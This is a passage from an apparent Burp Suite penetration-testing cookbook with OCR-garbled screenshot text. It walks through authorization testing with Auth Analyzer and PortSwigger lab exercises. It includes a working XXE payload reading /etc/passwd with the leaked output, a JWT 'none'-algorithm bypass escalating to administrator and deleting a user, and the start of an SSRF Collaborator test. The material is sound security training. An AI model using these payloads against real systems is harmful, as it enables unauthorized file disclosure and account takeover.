of a red dot and an Analyzer Running label:

Dashboard Target Proxy Intruder Repeater
Auth Analyzer Software Vulnerability Scanner GAP Add & Tr

Sessions
° .
Analyzer Running I " Session 1 | X
Drop Original Requests |
) password (Static Value)

Figure 10.63 - Turning Auth Analyzer on
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10. After turning Auth Analyzer on, notice DIFFERENCE is determined between the two logins.
Click the Show Diff button to have the difference color-coded for you to easily see:

® Analyzer Running || Session 1 [X Only In Se
Drop Original Requests Only P'Dx_
® Session Running B
Exclude H
password (Static Value) Exclude 5t
Entes Search Patteri... Search b 4 o Single View O Sync Tabs l Show Diff Expand Diff View [>
Original Session 1
ID  Method Host Path Session ... | [~
Request Response
1 POST 192.168.29.128 /mutillidae/i inphp | DIFFERE.. | —— =
Pretty  Raw  Hex B vr =
1 POST /mutillidae/index.php?page=login. php Pkl

Clear Table Export Table Data

2 Host: 1592.1£8.29.128
3 Cookie: showhints=1; security level=0; PHFSESSID=viiieab3vvghsnjnenO8rrfrg5;

acopendivids=swingset,jotto,phpbbZ,redning; acgroupswithpersist=nada
4 Content-Length: 58
5 Cache-Control: max-age=0
£ Sar=Ch=Tla:

@E €[] [seoren 0 matches

| Request Response

Original Session 1

8 v =

Pretty Raw Hex

1 POST /mutillidae/index.php?page=loginohp HTTP/1.1

2 Host: 192.168.28.128

3 Cookie: showhints=1; security level=0
acopendivids=swingset,jotto,phpbbZ,r

4 Content-Length: 56

S Cache-Control: max-age=0

@) €| [ seorch..

PHPSESSID=vZiieab3vvghsninen08rrfrgs;
ine; acgroupswithpersist=nada

0 matches

Diff: Original (Request) - Session 1 (Request)
Inserts: 2 Deletes: 2

POST /mutillidae/index.php?page=login.php HITP/1.1
Host: 192.168.29.128
Cookie: showhints=1; security level=0; PHPSESSID=v2iieab3vvghsnjnen08rrfrgs;

acopendivids=swingset, jotto, phpbb2, redmine; acgroupswithpersist=nada

Figure 10.64 - Seeing differences between requests

11. You would use this extension to log in as a higher-privileged user first. Then, youd map the
application’s functionality. After you've completed the mapping, click the Logout button. Then, log
in again, but this time, as a regular user, perform mapping and use Auth Analyzer to identify any
areas across the application where the lower-privileged user can access administrative functions.
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12. In addition, Auth Analyzer can also be used to remove cookies and access tokens inside of
requests. This would allow you to test for unauthenticated API endpoints much faster. After

sending a request to test to Auth Analyzer, identify the cookie(s) you want removed:

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder
Auth Analyzer Software Vulnerability Scanner GAP Add & Track Custom [ssues Burp Bounty Free
Sessions
® An St d
alyzer Stoppe ! Session1 | X

Drop Original Requests Header(s) to Replace

Settings

Remove Header(s) &) Restrict to Scope &) Test CORS &)

Header(s) to Remove
| Cookie: PHPSESSID=v2iieab3vvghsnjnen(8rrfrg5;

Figure 10.65 — Removing the cookie functionality

13. Then, send a request against a web page or API endpoint and let Auth Analyzer tell you if
there are any differences seen when the cookie is removed. See the following example after
the PHPSESSID cookie is removed. Notice there are no cookies in the second request. When
using this feature, you can quickly determine if the functionality is properly using authorization
checks or if a bug is present:
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| Single View O Sync Tabs | 4 Show Diff | Expand Diff View [»

Original Session 1
Request Response

Pretty Raw Hex B \n
1 GET /mutillidae/index.php?page=user-info.phpsusername=edspassvord=pentests

user-info-php-submit-button=View+Account+Details HTTP/1.1
2 Host: 192.1£8.29.128

3 Cookie: showhints=1; username=ed; uid=24; security_level=0; PHPSESSID=
vZiieab3vvghsninenOB8rrfrg5; acopendivids=swingset,jotto,phpbbl,redmine; acgroupsvithpersistg

nada

S Sec-Ch-Ua-Mobile: 20
@@ € ||| | Search... | 0 matches

Original Session 1

Request Response
Pretty  Raw  Hex 8 w =

1 GET /mutillidae/index.php?page=user-info.phpsusername=edspassword=pentests
user-info-php-submit-button=View%2BAccount%2BDetails HTTP/1.1

3 Sec-Ch-Ua:
4 Sec-Ch-Ua-Mobile: 20
Sec-Ch-Ua-Platform: "

Upgt Equests: 1
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; WingE4d; x€4) AppleWebKit/537.3€ (KHTML, like Gecko)
@{lé} i i .Se‘c:rch... 0 matches
Diff: Original (Request) -» Session 1 (Request)

Inserts: 1 Deletes: 2

GET /mutillidae/index.php?page=user-info.phpsusername=edspassword=pentestsuser-info-php-submit-
button=View+Account+Details HTTE/1.1

GET /mutillidae/index.php?page=user-info.phpsusername=edspassword=pentestsuser-info-php-submit-
button=View$2BAccount$2BDetails HITF/1.1

Host: 192.168.29.128

Cookie: showhints=1: username=ed: uid=24: securitv level=0:

Figure 10.66 — Seeing the difference between two requests

How it works...

Finding bugs for bug bounty hunting can be time-consuming. The Burp Bounty, Scan Check Builder
and Auth Analyzer extensions can both help to speed up discovery time for finding vulnerabilities
in your target applications.
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Implementing
Advanced Topic Attacks

This chapter covers intermediate to advanced topics such as working with XML External Entity (XXE)
injection, JSON Web Token (JWT) attacks, Server-Side Request Forgery (SSRF), Cross-Origin
Resource Sharing (CORS) findings, and Java deserialization attacks, as well as testing GraphQL in
Burp Suite. We'll learn how to use Burp Suite and Burp Suite extensions to assist in making each of
these types of test easier.

In this chapter, we will cover the following recipes:
o Performing XXE attacks
o Working with JWT
o Using Burp Suite Collaborator to determine SSRF
o Testing CORS
o Performing Java deserialization attacks

o Hacking GraphQL with Burp Suite

Technical requirements
To complete the recipes in this chapter, you will need the following:

o A PortSwigger account (https://portswigger.net/)

o PortSwigger Web Security Academy Labs (https://portswigger.net/web-security/
all-labs) access, which requires a PortSwigger account

o Burp Suite Proxy Community or Professional (https://portswigger.net/burp/)


https://portswigger.net/
https://portswigger.net/web-security/all-labs
https://portswigger.net/web-security/all-labs
https://portswigger.net/burp/
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Performing XXE attacks

XXE is a vulnerability that targets applications parsing XML. Attackers can manipulate the XML
input with arbitrary commands and send those commands as external entity references within the
XML structure. The XML is then executed by a weakly configured parser, giving the attacker the
requested resource.

Getting ready

Log in to your PortSwigger account. We will be using a PortSwigger lab — Lab: Exploiting XXE
using external entities to retrieve files (https://portswigger.net /web-security/xxe/
lab-exploiting-xxe-to-retrieve-files) - to exploit an XML parser vulnerability in
our target application.

How to do it...

1. Login, go to Lab: Exploiting XXE using external entities to retrieve files, and click the Access
the lab button to start your instance.

Lab: Exploiting XXE using external entities to

retrieve files
2e) il

5 LaB Solved

This lab has a "Check stock” feature that parses XML input and returns any unexpected values in the response.

To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.

Access the lab

Figure 11.1 — Lab lesson

2. After your instance of the lab loads, use the Burp Suite browser to capture your traffic. Click
around the site and view a product’s details by clicking the View details button.


https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files
https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files
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Six Pack Beer Belt
$5.80

View details

Figure 11.2 - The View details button

3. On the subsequent details page, under the description, click the Check stock button.

design, you'll always be able to boast about having a six pack. Buy t
thirsty again!

London v

Check stock |

Figure 11.3 —The Check stock button

4.  Switch to the Burp Suite Proxy | HT'TP history tab and look for the POST request you just
submitted to check the stock. Right-click and send the request to Repeater:
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Logger Organizer ‘Extensions Learn

ercet

Dashboard Target Proxy | intruder

| Filter: Hiding CSS and image content

WebSockets history

Repeater Collaberator

{5 Proxy settings

= Host Method URL
881  https://0a09002f04d2825c¢8173..4 POST _ /product/stock |
Request Response
Pretty Raw Hex B n = Pretty
1 POST /product/stock HITP/Z 1 HITP/2 20
2 Host: 2 Content-T
0aS9002£04d2825c81732035002700¢£8.
r.lemy.net Scan
3 Cookie: session=xukCXylSny03gEWZ4r :
4 Content-Length: 107 Do passive scan
5 Sec-Ch-Ua: Do active scan
& Sec-Ch-Ua-Platform: ""
7 Sec-Ch-Ua-Mobile: 20 Send to Intruder Ctrl+|
2 User-Agent: Mozilla/5.0 (Windows N
x64) AppleWebRit/537.3¢ (KHTML, Li focndto Repeater Cut:R
Chrome/114.0.5735.110 Safari/537.3 Send to S.equem:er
9 Content-Type: application/xml
10 Accept: */* Send to Comparer
1L Drigin: Send to Decoder
https: //0a%9002£04d2825¢cB8173203500 i
rity-acadeny.net Send to Organlzer Ctrl+0
12 Sec-Fetch-Site: same-origin Show response in browser
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty Request in browser >
15 Referer: E | 5
https://0ag9002£0442025¢8173203500 Rgegement ook
rity-acadeny.net/product?productld Copy Ctrl+C
1€ Accept-Encoding: gzip, deflate
17 Accept-Language: en-US,en;q=0.9,en Copy URL
18
& | d (bash
19 <?xml wversion="1.0" encoding="UTF- P vl sl (el
<stockCheck> Copy to file
<productld> g
1 Save item
</productld> Convert selection
<storeld>
1 Cut Ctrl+X
</storeld> “trl
</stockCheck> Copy R
Paste Ctrl+V

Figure 11.4 - Send to Repeater
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5. InRepeater, add the DOCTYPE declaration between the XML declaration and the root element
called stockCheck:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"s ]>

Also, replace the number within the product Id elements with &xxe;:

Dashboard Target Proxy Intruder Collaborator

1 = = w 3 x 4 x 5 x 6 x 7T x 8 = |
23 x 24 x 25 x

llla!!:lll {} Cance < |+

Request

Pretty Raw Hex = N =
1 POST /product/stock HTTP/Z

2 Host:

0aSS002£04dZB825cB1732035002700£8. web-security-acadeny.net

Cookie: session=xXukCXyl9ny03gEWZ4rwAZrSqfadTiBtn

Content-Length: 176

Sec-Ch-Ua:

Sec-Ch-Ua-Platform: ""

Sec-Ch-Ua-Mobile: 20

2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x&4)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/114.0.5735.110 Safari/537.36

9 Content-Type: application/xml

10 Accept: */*

11 Origin:
https: //0a55002£04d42825c81732035002700£8. web-security-acade
ny.net

12 Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec=Fetch-Dest: smpty

Referer:

https: //0aS5002£04d42825cB81732035002700£8. web-security-acade

ny.net/product?productId=1

16 Accept-Encoding: gzip, deflate

17 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

w

d h N ks

L_’I"Axm] yersion="1_0" Pnrnﬂiﬂg;"TTT‘F‘—R"'?)
2 <!DOCTYPE test [ <'ENTITY xxe SYSTEM
"file:///etc/passwd™> 1>

20" <stockCheck>

[ ome;
produeclde
<storeld>
1
</storeld>
</stockCheck>

Figure 11.5 - XXE injection point
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6. Click the Send button. Note that the response retrieves and displays the local /etc/passwd
file content:

Request Response

Pretty Raw Hex n = Pretty Raw Hex Rende n =
L POST /product/stock HTTP/Z HTTF/Z 400 Bad Request

2 Host: Content-Type: application/json; charset=utf-8

0a99002£04d2825¢81732035002700£8. web-security-acadeny.net 3 X-Frame-Options: SAMEORIGIN
3 Cookie: session=xuKCXylSnyO3gEWZ4rwAZrSqfad4TYBtm 4 Content-Length: ZZB84
Content-Length: 176
Sec-Ch-Ua: “Invalid product ID: root:x:0:0:root:/root:/bin/bash
Sec-Ch-Ua-Platform: " 7 t'laamlm x:1:1:daemon: fusr/shin: fusr/sbin/nologin

7 Sec-Ch-Ua-Mobile: 20 8 :2:bin: /bin: /usc/sbin/nologin

n.,‘
EN

% User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4) 9 :8ys: /dev:/usc/sbin/nologin
AppleWebKit/537.36 (KHTML, like Gecko) 10 sync:x:4:65534:sync: /bin: /bin/sync
Chrome/114.0.5735.110 Safari/537.36 1l games:x:5:60: games: /usr/ganes: /usc/sbin/nologin

9 Content-Type: application/xml 12 man:x:€:12:man:/var/cache/man: /usr/sbin/nologin

10 Accept: */% 13 1p:®:7:7:1p: /var/spool/lpd: /usr/sbin/nologin

11 Origin: 14 mail:x:8:8:mail: /var/mail: /usc/sbin/nologin
https://0a59002£04d42825c¢81732035002700£6, web-security-acade 15 news:x:9:9:nevs: /var/spool/nevs: /usr/sbin/nologin
ny.net 16 uucp:x:10:10:uucp: /var/spool/uucp: /usr/sbin/nologin

17 proxy:x:13:13:proxy: /bin: fusr/sbin/nologin

12 www-data:x:33: 33:www-data: /var/www: /usr/sbin/nologin

19 backup:x:34:34:backup: /var/backups: /usr/sbin/nologin

0 list:x:38:38:MailinglistManager:/var/list:/usr/sbin/nologin
1 irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin

2 gnats:x:4l:4l:GnatsBug-ReportingSystem(admin):/var/lib/gnats
usr/sbin/nologin

23 nobody:x:£5534: £5534: nobody: /nonexistent: fusr/sbin/nologin
_apt:x:100:65534: : /nonexistent: /usr/sbin/nologin

pe:er ®:12001:12001: : /home/peter: /bin/bash

/home/carlos: /bin/bash

/hone/user /bm/bash

2 Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

15 Referer:
https://0aS9002£04d2825c81732035002700£8. web-security-acade
ny.net/product?productld=1

1¢ Accept-Encoding: gzip, deflate

17 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

~

<2xnl version="1.0" encoding="UTF-8"2>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM
"file:///etc/passwd™> 1>
21 <stockCheck>
<productId>
&XXe; messagebus:x:101:101: /nonexl:tent /usr/sbin/nologin
</productld> 31 dnsmasq:x:102: E5534: dnsmasq,
<storeld> ’
1
</storeld> /v:n:/l.\.blmlsc
</atockCheck>

L

r/sb in/nologin

Figure 11.6 — Attack result

How it works...

In this recipe, the insecure XML parser receives the request within the XML for the /etc/passwd
file residing on the server. Since there is no validation performed on the XML request due to a weakly
configured parser, the resource is freely provided to the attacker.

Working with JWTs

As more sites provide client API access, JWTs are commonly used for authentication. These tokens
hold identity and claim information tied to the resources the user is granted access to on the target
site. Web-penetration testers need to read these tokens and determine their strength. Fortunately,
there are some handy plugins that make working with JWTs inside Burp Suite much easier. We will
learn about these plugins in this recipe.
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Getting ready

Log in to your PortSwigger account. We will be using Lab: JWT authentication bypass via flawed
signature verification (https://portswigger.net/web-security/jwt/lab-jwt-
authentication-bypass-via-flawed-signature-verification)and the JWT
Editor extension to exploit a signature vulnerability in our target application.

How to do it...
1. Switch to Burp Suite Extensions | BApp Store and install the JWT Editor plugin:

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder {6} Settin
Comparer Logger Organizer Learn Desenalization Scanner

Installed BApp Store APls @ Extensions settings

& Total estimated system impact:  Low @D

BApp Store C
The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend -
Burp's capabilities. L | Search
Name Installed Rating Popular... Lastupdated Syste.. Detail
— - - JWT Editor
| w Editor TILILIIrY 28Jun2022 Low |

Figure 11.7 - The JWT Editor extension

2. After you install the extension, notice you now have a new tab entitled JWT Editor Keys:

Burp Project Intruder Repeater Wind

Dashboard Target Proxy Intruder
| JWTEditor Keys |

Keys

D Type

Figure 11.8 — New tab

3. Goto Lab: JWT authentication bypass via unverified signature and click the Access the lab
button to start your instance:


https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification
https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification
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Lab: JWT authentication bypass via flawed

signature verification
Y ORsH

APPRENTICE
X LaB ‘ Solved

This lab uses a JWT-based mechanism for handling sessions. The server is insecurely configured to accept unsigned
JWTs.

To solve the lab, modify your session token to gain access to the admin panel at /admin , then delete the user
carlos .

You can log in to your own account using the following credentials: wiener:peter

B Tip

We recommend familiarizing yourself with how to work with JWTs in Burp Suite before attempting this lab.

| Access the lab |

Figure 11.9 - Lab lesson

4. After your instance of the lab loads, go to Proxy | Intercept | Open browser to use the Burp
Suite browser to capture your traffic.

Dashboard Target Proxy Intruder Repeater Collaborator Sequenc

Logger Organizer Extensions Learn Deserialization Scanner JWT Editor Keys

HTTP history WebSockets history {S} Proxy settings

Forward Drop Intercept is off Action Open browser

Figure 11.10 — Open the Burp Suite browser
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5. Login to the application using the provided credentials: wiener/peter.

Login

Username

wiener

Password

vosed

Figure 11.11 - Log in with the provided credentials

6. Switch to the Burp Suite Proxy | HT'TP history tab. Find the GET request with the URL
/my -account. Right-click and click the Send to Repeater option.

Dashboard Target Intruder Repeater Collaborator Sequ
Deserialization Scanner JWT Editor Keys

Intercept WebSockets history {5} Proxy settings

‘ Filter: Hiding CSS and image content

& Host Method URL Params Ed

Request

Pretty  Raw  Hex  JSON Web Token 8w =

1 GET /my-account HTTP/2

2 Host: D0a0E00ea0301b4fEB83£20c17004c00d2. web-security-acadeny.net

3 Cookie: session=
eyJraWQi0iISMTEONmQ4ANCOLIN] I3LTREKMTELOGMAZS 1 i ZnQwYWVhZGYZYnEiLCIhbGei0idsUzI1
NidS.eydpc3Mi0idwb3J0c3dpZldlcilsInlilYilE NHO
.Hk_tj3nZBamK_QhgSGbUvDLLNKtMt-kHV1siMEQC Scan sT
Dit5z1GnEZLiZDrQgAUd45Xea-0rDBYE]Vm19EscT . uZp
cCYPveoHOy-vZLIXAQIgFZOE LkcdZTYZFVQL1ZRme| DO PESSVEscan vHZ
GnfmA3ZRAtdcBGxryily9 LUeyoBwQTtVNDMAACO Do active scan P

RTAZxnrTeVmR7ZWHEVW _1ImZS1DTqQC_GwxxZPw
4 Cache-Control: max-age=0 . Send to Intruder Ctrl+|
5 Upgrade-Insecure-Requests: 1 m Ctrl+R
- User-Agent: Mozilla/5.0 (Windows NT 10.0;

-

Figure 11.12 - Send to Repeater
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7.

1 GET /my-account HTTP/2

ba

[

o Ln

Switch to the Repeater tab and notice that you have a new tab entitled JSON Web Token:

Dashboard Target Proxy Intruder Repeater Collaborator

3 2 x S 4 x B 6 x T 8 x 9 x

Request

P Raw  Hex | JSON Web Token B » =

Host:
Da0e00=al0301b4£fe83£20c1l7004c00d2. web-8ecurity-acadeny.net

3 Cookie: sessions=

eydraWQi0iI SMTEONmQ4ANCOLN) I3LTRKMTE tOGM4ZS i ZndwYWVhIGYITnEiL
CdhbGeiOidSUzTINiLiJS. eydpe3Mi0idwb3dJ0e3dpZidleilsTnN1YilI&TndpZ
VW5lciTsImV4cCIEMTYAN]YxMDAZNHO . He_tj3nZB8amF JhgSGbUvDLLNEtMt-
kHV1siMEQCEEDgXZ-EZQyCRvDABOCFg DEochZGIf1WXsTDitSz16GnEZLiZDrq]
gAUd45¥ea-0rDBYE ]Vl SRsc7zKdbBBw_LOgxrcWia ETseXSxaxzlNdsuZpce
CYPveoHOy-vILIXAQIgFZgElkcdZTYZFVQL1ZEme7F1t5CigdlXhdTCEVAFE0
TgLE4tDZgEBVHIqGnEmA3ZRBtdcBGxryiOyS_LUeyoBw(TtVNDMAACOWZDZUZ
gDZicLtGllEAnemP 8Wuk sJEZRWD PRTAZXnrTeVnR7IWHEVW 1JmZS51DTqQC_
GwxxZPw

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; xE4)

Figure 11.13 - Extension functionality in Repeater

Click the JSON Web Token tab to reveal a debugger very similar to the one available at
https://jwt.1io. This plugin allows you to read the claims content and manipulate the
encryption algorithm for various brute-force tests. In this attack, we will remove the signature
from the token and send the JWT to see whether the application accepts or rejects the request.


https://jwt.io.

Working with JWTs

To perform this attack, click the Attack button and select “none” Signing Algorithm.

Dashboard Target Proxy Intruder Collaborator Sequencer Decoder

1 % 2 x A 4 x 5 x 6 x 7 % Bix 9 = 10 x 1 x

@ Cancel

Request

Pretty Raw Hex JSON Web Token = n =
JWT | 1 - eyJraWQiOil5MTKONmQANCO1NjI3LTRKMTEtOGMAZS1iZmQwYWVhZGY ... v
Serialized JWT

eyIralQi0iISMTkONMQANCOIN I3LTRKMTEtOGMAZS 11 ZmQWYWVhZGY2YmEiLCIhbGCi0iISUZIINIIG.
eyIpc3Mi0iJwb330c3dpZ2dlciTsInN1YiI6IndpZWS1ciTs TmVACCTGMTYANSYXMDAZNHG . Hk
tj3nz8amK_QhgSGbUVDLLNKtMt -kHV1sjMEQCFEDEXZ -EZQyCRVD4BOCFq_
DEoh2G2f1WXsTDjt5z1GnEZL1 2DrQgAUd45Xea-QrD8Y8jVml9Rs c7zKIb8Bw_Legxrchia_

__Copy ) | Decrypt | [ Verly
JWS JWE
Header
Format JSON
"kid": "91946d84-5627-4d11-8cBe-bfd@aeadfeba™,
"alg": "RS256" 4 Compact JSON
b
Payload
U
"iss": "portswigger"”, Format JSON
“sub": “wiener‘", ch'l'lpﬂCt]SON
"exp"”: 1686610064
}
Signature
1E 4F ED 8F 79 D9 F1 A9 8A FD 08 60 48 66 D4 BC
07 56 5B 23 33 A4 02 7C 40
EmbeddedJ}NK : FO C4
“none” Signing C4 64
HMAC Key Confusion 78 E5 77 9A F9 0OA C3 F1 8F

l Attack I Sign Encrypt

Figure 11.14 — None algo attack
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9. Notice the Signature text area is now blank, the signature is missing after the last dot, and alg
in the header is set to none:

Dashboard Target Proxy Intruder Collaborator Sequencer Decoder

1 x 2 x 3 x 4 x 5 x 6 x T o g x 9 x 10 x 1 x

Request
Pretty Raw Hex JSON Web Token = W =
JWT | 1 - eylraWQiOilSMTKONmQANCOTNjI3LTRKMTEtOGMAZSTiZmQwYWVhZGY ... v
Serialized JWT
eyl@eXAioilkv1QiLCIhbGciOiJub251In@.
ey:lpc3MiOi:lwb3:lec3dp22d1ciIsIanYiIGIndeHSlciIsIthlr:CIGMTYthjYxﬂDAZNHB.
Copy Decrypt Verify
JWS JWE
Header
{ Format JSON
“typ": "IWT",
“alg": “none" Compact JSON
¥
Payload
{ Format JSON
"iss": “"portswigger”,
“sub”: “wiener”, Compact J50N
“exp": 1686610064
}
Signature

Figure 11.15 - Signature is removed



Working with JWTs

10. Inside the Payload text area, change wiener to administrator:

Payload

"iss": "portswigger”, Format JSON

I “sub": 'administratorr, |
EXp . CompactJSON

¥

Figure 11.16 — Escalate subject to administrator

11. Switch to the Raw tab and click the Send button to send the request to the application. Notice
that the application accepts the request and you are logged in to the administrator’s account.

<hl>
My Account
</hl>
<div id=account-content>
<p>
Your username is: administrator
</p>
<p>
Your email is: <span id="user-email">
adminfnormal-user.net
</span>
</p>
<form class="login-form" name="change-email-form” action="
/my-account/change-enail™ method="POST">
<label>
Email
</label>
<input required type="email"” name="email” walue="">
<input required type="hidden” name="csrf"” wvalue="
PTMC1mexp0ZTXBLSEDLIJYMETIJSRe 09>
<button class='button' type='submit'>
Update email
</button>
</form>
</fdiv>
<fdiv>
</section>

Figure 11.17 - Evidence of attack

12. Change the GET request from /my-account to /admin/delete?username=carlos
to solve the puzzle:
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Dashboard Target Proxy Intruder Collaborator Sequencer De

1 = 2 x 3 x 4 x 5 % 6 x 7 x 8 x 9 x 10 =

23 x
Request
Pretty Raw Hex \n =

E GET /admin/delete?username=carlos IH'I'I‘P/:
2 Hosty Da adec e 2a0070.web-security-acadeny.net

2

w oo

10
11
12
13
14
15

16
17
18
]

3 Cookie: session=

eyJ0eXAiDiJKVIQiLCIhbGei0idJubZ51In0. eydpe3Milidwb3d0c3dpZidleilsInNIYiIE InFkbW
luaXN0cnFOb3IiLCJ1eHALOJEZODYZMTEYNTVS.

Cache-Control: max-age=0

Upgrade-Insecure-Recquests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; %€4) AppleWebKit/537.3E
(FHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.3e

Accept:

text/html, application/xhtml+xml ,application/xml;g=0.9,image/avif, inage /webp,im
age/apng,*/*:q=0.8,application/signed-exchange ;v=b3;¢q=0.7

Sec-Fetch-Site: same-origin)

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 2?1

Sec-Fetch-Dest: document

Sec-Ch-Ua:

Sec-Ch-Ua-Mobile: =20

Sec-Ch-Ua-Platform: ""

Referer:

https://0a77001b03dadecl85£2587b002a0070. web-security-acadeny.net/login
Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Figure 11.18 - Final attack to solve

13. Send the request and see the congratulatory banner in the browser:

. JWT authentication bypass via ‘
Websecurlty flawed signature verification Z
Academy<|

Back to lab description »»

Congratulations, you solved the lab! ¥ Share your skills! | Confinue leaming >

Figure 11.19 - Congratulatory banner
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How it works...

The JWT Editor extension helps testers to work with JWT tokens in an easier way by providing
debugger tools conveniently available with the Burp Suite UI. Check out the other JWT labs available
in the PortSwigger Web Security Academy to gain more experience with the extension.

Using Burp Suite Collaborator to determine SSRF

SSREF is a vulnerability that allows an attacker to force applications to make unauthorized requests
on the attacker’s behalf. These requests can be as simple as DNS queries or as maniacal as commands
from an attacker-controlled server.

In this recipe, we will use Burp Suite Collaborator to check open ports available for SSRF requests,
and then we will use Burp Intruder to determine whether the application will perform DNS queries
to the public Burp Suite Collaborator server through an SSRF vulnerability.

Getting ready

Log in to your PortSwigger account. Using PortSwigger Lab: Blind SSRF with out-of-band detection
(https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-
detection), we will see how to use Burp Suite Collaborator to identify an SSRF vulnerability in
our target application.

How to do it...

1. Switch to the Burp Suite Collaborator tab. Click the Get started button:

Dashboard Target Proxy Intruder Repeater Collaborator

Comparer Logger Organizer Extensions Learn JWT Editor Keys

)

Burp Collaborator

Burp Collaborator enables you to test whether you can

induce an application to interact with an external service

DNS, HTTP, or SMTP. This type of testing makes it easier
discover blind or asynchronous vulnerabilities.

Don't show this again

Figure 11.20 - Start Collaborator

389


https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-detection
https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-detection
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2. Notice you may now copy Collaborator payloads to the clipboard and a table appears that
displays any captured calls.

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger {0} Settings

Organizer Extensions Learn

1= | + Q

Payloads to generate: 1| Copy to clipboard Include Collaborator server location Poll now @
2 Time Type Payload Source IP address

Your interactions will appear here

Click "Copy to clipboard” to generate Burp Collaborator
payloads that you can use when testing

Learn more

Figure 11.21 — The Collaborator table

3. Login, go to Lab: Blind SSRF with out-of-band detection, and start the instance by clicking

Access the lab:
Lab: Blind SSRF with out-of-band detection
YORSH
A L:;ACTONERsmved

This site uses analytics software which fetches the URL specified in the Referer header when a product page is
loaded.

To solve the lab, use this functionality to cause an HTTP request to the public Burp Collaborator server.

[E] Note

To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the
labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator's default public server.

Access the lab

Figure 11.22 — Lab lesson
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4.  After your instance of the lab loads, use the Burp Suite browser to capture your traffic. Click
around the site.

5. Switch to the Proxy | HT'TP history tab and find any request you made in the instance that
contains a Referer header. Right-click and send the request to Repeater:

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer
Intercept HTTP history Web5Sockets history {§} Proxy settings

Filter: Hiding C55 and image content

# Host Method URL
918 https://0a460044048082a88114... GET JacademylabHeader
917 hﬂp:!/ﬂdWaBﬂﬂd..l GET /product?productid=1 |

Request

Pretty Raw Hex \n =

1 GET /product?productld=1 HTTP/2

Host: 0a46004404808Za88114357a004590055.web-security-academy.net

Cookie: session=D1gdcSDxLzlNwCTAINhOAPSqSgVVi0Qk

Sec-Ch-Ua:

) Sec-Ch-Ua-Mobile: 20

Sec-Ch-Ua-Platform: ™"

Upgrade-Insecure-Requests: 1

8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé
(FHTML, like Gecko) Chrome/114.0.5735.110 Safa

S Accept: Do passive scan
text/htul, application/xhtml+xml, application/xm
image/apng,*/*;q=0.8,application/signed-exchan

10 Sec-Fetch-Site: same-origin Send to Intruder Ctrl+l

11 Sec-Fetch-Mode: navigate

12 Sec-Fetch-User: 21 Send to Repeater Ctrl+R

= = ent
Referer: https://0ade00440A0002a0B11A307a00]0|  ~ond to Sequencer

ccepi-Encoding: gzip, detlace Send to Comparer
L& Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

(%]

L

J o o e

Scan

Do active scan

Send to Decoder

Figure 11.23 - Send to Repeater

6. Inside Repeater, highlight the value of the Referer header, leaving the protocol of https: //.
Right-click and select Insert Collaborator payload. This action will replace the current value
of Referer with a collaborator instance.
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Request
Pretty Raw Hex n =
1 GET /product?productld=1 HTTP/Z Scan
2 Host: Da460044048082a88114397a00490055.web-security-a . . )
3 Cookie: session=DlgdcSDxLzlNwCTAINhOAPSqSgVVi0Qk Scan selected insertion point
4 Sec-Ch-Ua: -
5 Sec-Ch-Ua-Mobile: 20 Dopasswescan
& Sec-Ch-Ua-Platform: "" Do active scan
7 Upgrade-Insecure-Requests: 1 : Ctrl
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinEd; x€4) Send to Intruder trl+
like Gecko) Chrome/114.0.5735.110 Safari/537.36 Send to Repeater Ctrl+R
4 Accept:
text/htnl ,application/xhtml+xml, application/xml;q=0.9 Send to Sequencer

ng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Sec-Fetch-5Site: same-origin
Sec-Fetch-Mode: navigate Send to Decoder

Send to Comparer

12 Sec-Fetch-User: 21 .

13 Sec-Fetch-Dest: document send to Organizer Cirl-0
14 Referer: https://0a460044048082a88114397a004590055. web- nsert Co or

15 Accept-Encoding: gzip, deflate R in b

1¢ Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 equest in browser ?
17 Engagement tools >

Figure 11.24 - Insert Collaborator payload

The subdomain is randomized, so your collaborator value will differ from the one shown in
the following screenshot.

Request
P Raw  Hex n =

GET /product?productId=1 HTTP/Z

Host: 0a460044048082a88114397a00490055.web-security-acadeny.net

Cookie: session=DlgdcSDxLzlNwCTAJNhOAPSqSgVVi0Qk

Sec-Ch-Ua:

Sec-Ch-Ua-Mobile: 20

Sec-Ch-Ua-Platform: "

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; xE4) AppleWebKit/537.3€ (FHTML, like
Gecko) Chrome/114.0.5735.110 Safari/537. 36

